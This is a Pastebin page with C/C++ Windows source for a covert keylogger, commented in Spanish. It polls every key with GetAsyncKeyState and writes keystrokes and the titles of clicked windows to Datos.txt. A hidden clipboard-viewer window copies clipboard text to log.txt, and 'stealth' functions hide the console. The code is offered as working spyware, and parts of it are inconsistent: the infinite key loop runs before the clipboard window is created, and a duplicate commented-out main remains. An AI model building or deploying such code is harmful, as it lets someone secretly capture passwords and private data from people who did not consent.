Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <stdio.h>
- #include <time.h>
- #define CLIP_TEXT CF_TEXT
- #define VK_4 0x34
- void GhostKeylogger(FILE *txt);
- byte teclas[256];
- char teclasespeciales[32];
- typedef struct
- {
- int dia;
- int mes;
- int anio;
- int segundo;
- int minuto;
- int hora;
- }
- t_fecha;
- LRESULT CALLBACK WindowProcedure(HWND, UINT, WPARAM, LPARAM);
- char szClassName[] = "ClipBoard Monitor by Wap2k";
- int Err();
- int SaveClipText();
- int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil){
- SetConsoleTitle("");
- FILE *txt = fopen("Datos.txt", "a+");
- if(txt != NULL)
- {
- time_t tiempo; //Declaración para la fecha
- time(&tiempo);
- struct tm* tm = localtime(&tiempo);
- t_fecha f;
- f.dia = tm->tm_mday;
- f.mes = tm->tm_mon + 1;
- f.anio = tm->tm_year + 1900;
- f.hora = tm->tm_hour;
- f.minuto = tm->tm_min;
- f.segundo = tm->tm_sec;
- if (txt != NULL)
- {
- FILE *txt = fopen("Datos.txt", "a+");
- fprintf(txt, "Fecha: %d/%d/%d Hora:%d:%d:%d", f.dia, f.mes, f.anio, f.hora, f.minuto, f.segundo);
- fclose(txt);
- }
- //fprintf(txt, "Fecha: %d/%d/%d Hora:%d:%d:%d", f.dia, f.mes, f.anio, f.hora, f.minuto, f.segundo);
- while(TRUE)
- {
- GhostKeylogger(txt);
- Sleep(5);
- }
- fclose(txt);
- }
- HWND hwnd;
- MSG messages;
- WNDCLASSEX wincl;
- /* The Window structure */
- wincl.hInstance = hThisInstance;
- wincl.lpszClassName = szClassName;
- wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
- wincl.style = CS_DBLCLKS; /* Catch double-clicks */
- wincl.cbSize = sizeof (WNDCLASSEX);
- /* Use default icon and mouse-pointer */
- wincl.hIcon = LoadIcon(NULL, IDI_APPLICATION);
- wincl.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
- wincl.hCursor = LoadCursor(NULL, IDC_ARROW);
- wincl.lpszMenuName = NULL; /* No menu */
- wincl.cbClsExtra = 0; /* No extra bytes after the window class */
- wincl.cbWndExtra = 0; /* structure or the window instance */
- /* Use Windows's default color as the background of the window */
- wincl.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
- if (!RegisterClassEx(&wincl)) return 0;
- if (!RegisterHotKey(NULL,1,0x4001,0x42)) //0x42 is 'b'
- MessageBox(NULL, "Error Registering Hotkey", "Error", MB_OK);
- hwnd = CreateWindowEx(
- 0,
- szClassName,
- "aaa",
- WS_OVERLAPPEDWINDOW,
- CW_USEDEFAULT,
- CW_USEDEFAULT,
- 544,
- 375,
- HWND_DESKTOP,
- 0,
- hThisInstance,
- 0
- );
- ShowWindow(hwnd, 0);
- while (GetMessage(&messages, NULL, 0, 0)){
- if (messages.message == WM_HOTKEY)
- {
- MessageBox(NULL, "App Closed", "Hotkey Detected", MB_OK);
- PostQuitMessage(0);
- }
- TranslateMessage(&messages);
- DispatchMessage(&messages);
- }
- return messages.wParam;
- }
- LRESULT CALLBACK WindowProcedure(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){
- HWND hwndNextViewer = NULL;
- HDC hdc;
- PAINTSTRUCT ps;
- switch (message){
- case WM_CREATE:
- hwndNextViewer = SetClipboardViewer(hWnd);
- break;
- case WM_CHANGECBCHAIN:
- if ((HWND)wParam == hwndNextViewer)
- hwndNextViewer = (HWND)lParam;
- else if (hwndNextViewer)
- SendMessage(hwndNextViewer, message, wParam, lParam);
- break;
- case WM_DRAWCLIPBOARD:
- if (hwndNextViewer)
- SendMessage(hwndNextViewer, message, wParam, lParam);
- SaveClipText();
- InvalidateRect(hWnd, NULL, TRUE);
- break;
- case WM_PAINT:
- hdc = BeginPaint(hWnd, &ps);
- EndPaint(hWnd, &ps);
- break;
- case WM_DESTROY:
- PostQuitMessage(0);
- break;
- default:
- return DefWindowProc(hWnd, message, wParam, lParam);
- }
- return 0;
- }
- int Err(){
- DWORD LastErrorCode = GetLastError();
- LPVOID lpMsgBuf;
- FormatMessage(0x13FF, 0, LastErrorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL);
- printf("Error Code - %ld: %S\n", LastErrorCode, lpMsgBuf);
- LocalFree(lpMsgBuf);
- }
- int SaveClipText(){
- char *szText;
- HANDLE hClipMem;
- LPVOID lpClipMem;
- if (!OpenClipboard(0)) return Err();
- if ((hClipMem = GetClipboardData(CF_TEXT)) == NULL){
- CloseClipboard();
- return Err();
- }
- if ((lpClipMem = GlobalLock(hClipMem)) == NULL) {
- CloseClipboard();
- return Err();
- }
- if (!(szText = (char *)malloc(GlobalSize(hClipMem) + 1))) {
- CloseClipboard();
- return Err();
- }
- lstrcpyA(szText, (char*)lpClipMem);
- FILE *fout = fopen("log.txt", "a");
- if (fout){
- fputs((char*)szText, fout);
- fputs("\r\n ----- \r\n", fout);
- printf("[:)] Well-done !");
- fclose(fout);
- }
- else
- return Err();
- if (!GlobalUnlock(hClipMem)) Err();
- if (!CloseClipboard()) Err();
- return TRUE;
- }
- void HideConsole()
- {
- HWND hCons = FindWindowA("ConsoleWindowClass",NULL);
- ShowWindow(hCons,SW_HIDE);
- }
- void stealth()
- {
- HWND asc;
- asc = FindWindow("ConsoleWindowClass",NULL);
- AllocConsole();
- ShowWindow(asc,0);
- }
- //int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
- //int main()
- //int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
- //int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil)
- //int main(/*int argc, char **argv*/)
- /*{
- //HWND hConsole = FindWindow("ConsoleWindowClass", NULL);
- //if(hConsole){
- //ShowWindow(hConsole, 0);}
- //HWND wnd = GetForegroundWindow();
- //ShowWindow(wnd,SW_HIDE);
- //ShowWindow(GetForegroundWindow(),SW_HIDE);
- //FreeConsole();
- //HideConsole();
- //stealth();
- time_t tiempo; //Declaración para la fecha
- time(&tiempo);
- struct tm* tm = localtime(&tiempo);
- t_fecha f;
- f.dia = tm->tm_mday;
- f.mes = tm->tm_mon + 1;
- f.anio = tm->tm_year + 1900;
- f.hora = tm->tm_hour;
- f.minuto = tm->tm_min;
- f.segundo = tm->tm_sec;
- FILE *txt = fopen("Datos.txt", "a+");
- if(txt != NULL)
- {
- fprintf(txt, "Fecha: %d/%d/%d Hora:%d:%d:%d", f.dia, f.mes, f.anio, f.hora, f.minuto, f.segundo);
- while(TRUE)
- {
- GhostKeylogger(txt);
- Sleep(5);
- }
- fclose(txt);
- }
- //HWND consola;
- //consola = FindWindowA("ConsoleWindowClass",NULL);
- //ShowWindow(consola,SW_HIDE);
- }*/
- HWND DelMouse()
- {
- POINT ps; GetCursorPos(&ps);
- HWND Hwnd1 = WindowFromPoint(ps);
- MapWindowPoints(NULL, Hwnd1, &ps, 1);
- HWND Hwnd2 = ChildWindowFromPoint (Hwnd1,ps);
- return (Hwnd2)?Hwnd2:Hwnd1;
- }
- void GhostKeylogger(FILE *txt)
- {
- for(int i=0; i<255; i++)
- {
- if((unsigned short)GetAsyncKeyState(i) == 0x8001) //0x8001 es 32769 en hex
- {
- if(i == VK_BACK) { fprintf(txt, "[BACKSPACE]"); break; }
- if(i == VK_TAB) { fprintf(txt, "[TAB]"); break; }
- if(i == VK_RETURN) { fprintf(txt, "[ENTER]\r\n"); break; }
- if(i == VK_DELETE) { fprintf(txt, "[SUPR]"); break; }
- if(i == VK_INSERT) { fprintf(txt, "[INSERT]"); break; }
- if(i == VK_PRIOR) { fprintf(txt, "[PG UP]"); break; }
- if(i == VK_NEXT) { fprintf(txt, "[PG DN]"); break; }
- if(i == VK_HOME) { fprintf(txt, "[HOME]"); break; }
- if(i == VK_END) { fprintf(txt, "[END]"); break; }
- if(i == VK_UP) { fprintf(txt, "[ARRIBA]"); break; }
- if(i == VK_DOWN) { fprintf(txt, "[ABAJO]"); break; }
- if(i == VK_LEFT) { fprintf(txt, "[IZQUIERDA]"); break; }
- if(i == VK_RIGHT) { fprintf(txt, "[DERECHA]"); break; }
- if(i == VK_SNAPSHOT){ fprintf(txt, "[IMPRPANT]"); break; }
- if(i<VK_MBUTTON)
- {
- HWND Hwnd = DelMouse();
- int Tam = GetWindowTextLength(Hwnd)+1;
- LPSTR lpszWindowText = new CHAR[Tam];
- GetWindowText(Hwnd, lpszWindowText, Tam);
- if(i == VK_LBUTTON){ fprintf(txt, "[CLICKIZQ '%s']\n", lpszWindowText); break; }
- if(i == VK_RBUTTON){ fprintf(txt, "[CLICDER '%s']\n", lpszWindowText); break; }
- if(i == VK_MBUTTON){ fprintf(txt, "[CLICMED '%s']\n", lpszWindowText); break; }
- delete lpszWindowText;
- }
- /* L is for corpy - T is for paste*/
- GetKeyState(VK_CAPITAL);
- GetKeyState(VK_SCROLL);
- GetKeyState(VK_NUMLOCK);
- GetKeyboardState(teclas);
- *teclasespeciales = 0;
- if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
- fprintf(txt, "%c \n", *teclasespeciales);
- else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
- fprintf(txt, "[%s]", teclasespeciales);
- /*while(GetAsyncKeyState(VK_CONTROL) == -32767){
- Sleep(200);
- switch(GetAsyncKeyState(VK_MENU) == -32767){
- case 1:
- Sleep(200);
- switch(GetAsyncKeyState(VK_4) == -32767){
- case 1:
- fprintf(txt,"~");
- break; }
- } */
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement